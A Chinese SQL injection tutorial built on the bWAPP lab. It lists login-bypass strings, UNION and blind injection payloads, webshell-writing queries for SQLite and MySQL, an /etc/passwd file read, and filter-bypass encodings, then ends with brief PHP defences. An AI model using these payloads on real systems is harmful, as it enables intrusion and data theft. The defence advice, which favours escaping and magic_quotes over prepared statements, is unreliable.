背景
模擬環境還是 bWAPP,只不過這個bWAPP的SQL注入有點多,一一寫意義不大,在這邊就利用這個環境來嘗試一些SQL注入的技巧。並研究下PHP的防御代碼。
普通的bWAPPSQL注入的簡單介紹
從get型search到CAPTCHA
簡單級
#search
http://192.168.195.195/bWAPP/sqli_1.php?title=c%%27union%20select%201,2,3,version(),database(),6,%27&action=search
#select類
http://192.168.195.195/bWAPP/sqli_2.php?movie=-1%20union%20select%201,2,3,version(),database(),6,7
Login類--萬能密碼
#密碼一欄填寫
a' or '1'='1
#同理,賬號一欄也可以隨意,萬能密碼常用paylaod,列表
#asp與aspx
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
#PHP萬能密碼
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
#jsp 萬能密碼
1'or'1'='1
admin' or 1=1/*
sqlite注入
語句稍有不同,但也沒什么區別
#注釋符號用/**/
http://192.168.195.195/bWAPP/sqli_11.php?title=c%%27%20union%20select%201,2,%27sql%20injection%27,sqlite_version(),5,6/*&action=search
#可以寫文件拿shell
#payload
select * from test where id =1 ;ATTACH DATABASE 'C:\\Sqlite\\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --
#數據包
POST /bWAPP/sqli_12.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_12.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1
entry=4',sqlite_version());ATTACH DATABASE '/var/www/bWAPP/1.php' AS pwn113 ; CREATE TABLE pwn113.exp (dataz text) ; INSERT INTO pwn113.exp (dataz) VALUES ('<?php @eval($_POST["cdjj"]);?>');-- ' &entry_add=add
類似的還有MySQL寫文件獲取的shell
# <?php @eval($_POST["cdjj"]);?>
select 0x3c3f70687020406576616c28245f504f53545b2263646a6a225d293b3f3e into outfile '/xxx/shell.php'
插入注入
在sqlite寫文件那個中需要插入注入或者非query注入才行,因為一個是PHP執行的exec函數,一個是執行的query函數,后者只運行select語句。Insert語句注入沒有什么特殊的,本質是拼接insert語句而不是拼接select語句,注入的東西插入數據,在頁面上回顯出來可以看到。
POST /bWAPP/sqli_7.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_7.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1
entry=1',(select/**/if(substring(@@version,1,1)=5,LOAD_FILE('/etc/passwd'),'NO'))); #&blog=add
LOAD_FILE('/etc/passwd') #MySQL讀文件
有些HTTP Header頭字段也可以注入
盲注
#布爾型,這里可以用 > < between做二分判斷,between也可以用來繞過< >過濾
IF(substring(database(),1,1)=b,'YES','NO')
#時間型
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
#postgresql
pg_sleep(5)
編碼和繞過
大小寫繞過關鍵字檢測
select->sELeCt
加分隔符繞過
select->sEL/**/eCt
空格轉分隔符繞過或者括號繞過
union select->union/**/select
where 1=1->where(1=1)
URL轉碼
#->%23
十六進制編碼繞過引號過濾(hex)
'users'->0x7573657273
char編碼繞過(ascii)
Test->CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
寬字節和雙重編碼
%xx%xx->(%xx%xx)%xx->括號中成為寬字節
雙重編碼%2527->第一次解碼成為%27(因為%25URL解碼就是%)->二次解碼%27->'(單引號)
防御
函數防御
- 最好的選擇:mysql_real_escape_string()
- 一般的選擇:addslashes()
配置防御:
- 配置php.ini magic_quotes_gpc=On
PDO和預編譯
- 先執行mysql連接對象的prepare函數准備sql語句的雛形,然后執行bind_param函數填充用戶輸入的數據。
- 使用PDO,先prepare,然后使用bindValue函數,與前者類似。